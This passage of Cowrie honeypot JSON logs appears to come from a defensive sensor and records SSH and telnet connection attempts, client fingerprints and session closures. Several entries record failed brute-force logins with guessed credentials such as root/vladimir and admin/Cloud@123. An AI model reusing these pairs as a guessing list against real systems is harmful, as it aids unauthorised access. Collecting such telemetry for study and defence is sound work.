":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:53.954587Z","src_ip":"50.99.170.152","session":"cf5b61ef4e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"54321","message":"login attempt [test/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:54.220744Z","src_ip":"50.99.170.152","session":"cf5b61ef4e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:55.284676Z","src_ip":"50.99.170.152","session":"cf5b61ef4e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117624044418335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:57.076972Z","src_ip":"62.171.135.55","session":"ed08139ddb8a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vladimir","message":"login attempt [root/vladimir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:58.251317Z","src_ip":"213.209.159.158","session":"048b4ffc6687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:01.654295Z","src_ip":"213.209.159.158","session":"048b4ffc6687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cfd28f93c7b","protocol":"ssh","message":"New connection: 213.209.159.158:13470 (159.203.135.109:22) [session: 7cfd28f93c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:01.735088Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34810,"dst_ip":"159.203.135.109","dst_port":23,"session":"039b339d5fa4","protocol":"telnet","message":"New connection: 62.171.135.55:34810 (159.203.135.109:23) [session: 039b339d5fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:03.499795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:04.541422Z","src_ip":"213.209.159.158","session":"7cfd28f93c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:04.545237Z","src_ip":"213.209.159.158","session":"7cfd28f93c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39092,"dst_ip":"159.203.135.109","dst_port":23,"session":"708f4b8f4f9a","protocol":"telnet","message":"New connection: 62.171.135.55:39092 (159.203.135.109:23) [session: 708f4b8f4f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:05.224721Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":35422,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a965374f9c","protocol":"telnet","message":"New connection: 107.155.66.219:35422 (159.203.135.109:23) [session: 55a965374f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:05.374010Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55694,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3cbb1f5d6b","protocol":"telnet","message":"New connection: 62.171.135.55:55694 (159.203.135.109:23) [session: ec3cbb1f5d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:10.868650Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":37648,"dst_ip":"159.203.135.109","dst_port":22,"session":"81864ecd71a9","protocol":"ssh","message":"New connection: 156.227.233.77:37648 (159.203.135.109:22) [session: 81864ecd71a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:10.907797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:10.913463Z","src_ip":"156.227.233.77","session":"81864ecd71a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.079888Z","src_ip":"156.227.233.77","session":"81864ecd71a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":55834,"dst_ip":"159.203.135.109","dst_port":22,"session":"8928bb061b48","protocol":"ssh","message":"New connection: 43.159.177.40:55834 (159.203.135.109:22) [session: 8928bb061b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.126904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.133368Z","src_ip":"43.159.177.40","session":"8928bb061b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.204532Z","src_ip":"43.159.177.40","session":"8928bb061b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Cloud@123","message":"login attempt [admin/Cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.477801Z","src_ip":"43.159.177.40","session":"8928bb061b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe@123","message":"login attempt [user/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:11.760251Z","src_ip":"156.227.233.77","session":"81864ecd71a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4337420463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:12.155872Z","src_ip":"62.171.135.55","session":"e8e787f1eb0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:12.556728Z","src_ip":"43.159.177.40","session":"8928bb061b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:12.942384Z","src_ip":"156.227.233.77","session":"81864ecd71a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Virtual123","message":"login attempt [root/Virtual123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:14.992342Z","src_ip":"213.209.159.158","session":"7cfd28f93c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40106,"dst_ip":"159.203.135.109","dst_port":22,"session":"f59ba1f10142","protocol":"ssh","message":"New connection: 159.203.92.129:40106 (159.203.135.109:22) [session: f59ba1f10142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:15.188588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:15.193862Z","src_ip":"159.203.92.129","session":"f59ba1f10142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:15.199757Z","src_ip":"159.203.92.129","session":"f59ba1f10142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"liverovast#adkz443","message":"login attempt [ansible/liverovast#adkz443] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:15.215424Z","src_ip":"159.203.92.129","session":"f59ba1f10142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.350356817245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:16.004865Z","src_ip":"62.171.135.55","session":"48e6e5480cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28587794303894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:16.094611Z","src_ip":"62.171.135.55","session":"8464596fd1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":59682,"dst_ip":"159.203.135.109","dst_port":23,"session":"faebf7849a63","protocol":"telnet","message":"New connection: 107.155.66.219:59682 (159.203.135.109:23) [session: faebf7849a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:16.120472Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:16.245770Z","src_ip":"159.203.92.129","session":"f59ba1f10142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:18.533764Z","src_ip":"213.209.159.158","session":"7cfd28f93c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30228,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bd48a1d9848","protocol":"ssh","message":"New connection: 213.209.159.158:30228 (159.203.135.109:22) [session: 8bd48a1d9848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:18.616611Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":57520,"dst_ip":"159.203.135.109","dst_port":23,"session":"727747073aec","protocol":"telnet","message":"New connection: 68.178.160.252:57520 (159.203.135.109:23) [session: 727747073aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:18.833896Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":52954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c78f9032489c","protocol":"telnet","message":"New connection: 62.171.135.55:52954 (159.203.135.109:23) [session: c78f9032489c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:19.036713Z"}
{"eventid":"cowrie.session.closed","duration":31.128289937973022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:19.535683Z","src_ip":"62.171.135.55","session":"2432058df5f5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:20.745431Z","src_ip":"213.209.159.158","session":"8bd48a1d9848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:20.749655Z","src_ip":"213.209.159.158","session":"8bd48a1d9848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.706719398498535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:23.147441Z","src_ip":"62.171.135.55","session":"70c5bcfbeb7a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Visitor2022","message":"login attempt [root/Visitor2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:30.036644Z","src_ip":"213.209.159.158","session":"8bd48a1d9848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:33.398239Z","src_ip":"213.209.159.158","session":"8bd48a1d9848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20964,"dst_ip":"159.203.135.109","dst_port":22,"session":"d92d8b5e69ef","protocol":"ssh","message":"New connection: 213.209.159.158:20964 (159.203.135.109:22) [session: d92d8b5e69ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:33.480792Z"}
{"eventid":"cowrie.session.closed","duration":30.941235303878784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:34.440933Z","src_ip":"62.171.135.55","session":"039b339d5fa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44252,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd8ce2cb385c","protocol":"telnet","message":"New connection: 62.171.135.55:44252 (159.203.135.109:23) [session: bd8ce2cb385c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:34.648469Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":37436,"dst_ip":"159.203.135.109","dst_port":23,"session":"663c7e56c863","protocol":"telnet","message":"New connection: 107.155.66.219:37436 (159.203.135.109:23) [session: 663c7e56c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:35.102787Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":37452,"dst_ip":"159.203.135.109","dst_port":23,"session":"867b26f1d92e","protocol":"telnet","message":"New connection: 107.155.66.219:37452 (159.203.135.109:23) [session: 867b26f1d92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:35.176955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:35.596305Z","src_ip":"213.209.159.158","session":"d92d8b5e69ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:35.599567Z","src_ip":"213.209.159.158","session":"d92d8b5e69ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.646934509277344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:36:36.020825Z","src_ip":"107.155.66.219","session":"55a965374f9c","protocol":"telnet"}
